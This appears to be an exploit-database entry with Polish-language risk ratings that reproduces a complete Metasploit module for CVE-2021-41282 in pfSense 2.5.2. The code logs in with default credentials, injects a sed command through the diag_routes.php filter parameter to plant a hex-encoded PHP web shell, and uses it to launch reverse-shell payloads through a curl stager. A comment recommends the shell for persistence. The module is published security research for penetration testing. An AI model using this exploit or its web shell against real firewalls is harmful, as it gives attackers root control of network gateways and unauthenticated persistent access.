pfSense 2.5.2 Shell Upload

2022.03.04
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


Ogólna skala CVSS: 9/10
Znaczenie: 10/10
Łatwość wykorzystania: 8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Jednorazowa
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'pfSense Diag Routes Web Shell Upload', 'Description' => %q{ This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege. This module uses the vulnerability to create a web shell and execute payloads with root privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery 'jbaines-r7' # metasploit module ], 'References' => [ ['CVE', '2021-41282'], ['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/'] ], 'DisclosureDate' => '2022-02-23', 'Platform' => ['unix', 'bsd'], 'Arch' => [ARCH_CMD, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, 'Payload' => { 'Append' => ' & disown' } } ], [ 'BSD Dropper', { 'Platform' => 'bsd', 'Arch' => [ARCH_X64], 'Type' => :bsd_dropper, 'CmdStagerFlavor' => [ 'curl' ], 'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']), OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]), OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true]) ] @webshell_uri = '/' @webshell_path = '/usr/local/www/' end # Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately, # pfsense permissions can be so locked down that we have to try direct exploitation # in order to determine vulnerability. A user can even be restricted from the # dashboard (where other pfsense modules extract the version). def check # Grab a CSRF token so that we can log in res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php')) return CheckCode::Unknown("Didn't receive a response from the target.") unless res return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200 return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login') /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body return CheckCode::Unknown('Could not find CSRF token') unless csrf # send the log in attempt res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'POST', 'vars_post' => { '__csrf_magic' => csrf, 'usernamefld' => datastore['USERNAME'], 'passwordfld' => datastore['PASSWORD'], 'login' => '' } ) return CheckCode::Detected('No response to log in attempt.') unless res return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302 # save the auth cookie for later user @auth_cookies = res.get_cookies # attempt the exploit. Upload a random file to /usr/local/www/ with random contents filename = Rex::Text.rand_text_alpha(4..12) contents = Rex::Text.rand_text_alpha(16..32) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'), 'cookie' => @auth_cookies, 'encode_params' => false, 'vars_get' => { 'isAjax' => '1', 'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23" } }) return CheckCode::Safe('No response to upload attempt.') unless res return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200 # Validate the exploit was successful by requesting the uploaded file res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies }) return CheckCode::Safe('No response to exploit validation check.') unless res return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200 register_file_for_cleanup("#{@webshell_path}#{filename}") CheckCode::Vulnerable() end # Using the path traversal, upload a php webshell to the remote target def drop_webshell webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}") print_status("Uploading webshell to #{webshell_location}") # php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>' php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'), 'cookie' => @auth_cookies, 'encode_params' => false, 'vars_get' => { 'isAjax' => '1', 'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23" } }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 # Test the web shell installed by echoing a random string and ensure it appears in the res.body print_status('Testing if web shell installation was successful') rand_data = Rex::Text.rand_text_alphanumeric(16..32) res = execute_via_webshell("echo #{rand_data}") fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data) print_good("Web shell installed at #{webshell_location}") # This is a great place to leave a web shell for persistence since it doesn't require auth # to touch it. By default, we'll clean this up but the attacker has to option to leave it if datastore['DELETE_WEBSHELL'] register_file_for_cleanup("#{@webshell_path}#{@webshell_name}") end end # Executes commands via the uploaded webshell def execute_via_webshell(cmd) if target['Type'] == :bsd_dropper # the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good # way to force the payload to background itself (and thus allow the HTTP response to # to return). So we hack it in ourselves. This identifies the ending file cleanup # which should be right after executing the payload. cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/') end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"), 'vars_get' => { 'cmd' => cmd } }) fail_with(Failure::Disconnected, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200 res end def execute_command(cmd, _opts = {}) execute_via_webshell(cmd) end def exploit # create a randomish web shell name if the user doesn't specify one @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php" drop_webshell print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :bsd_dropper execute_cmdstager end end end


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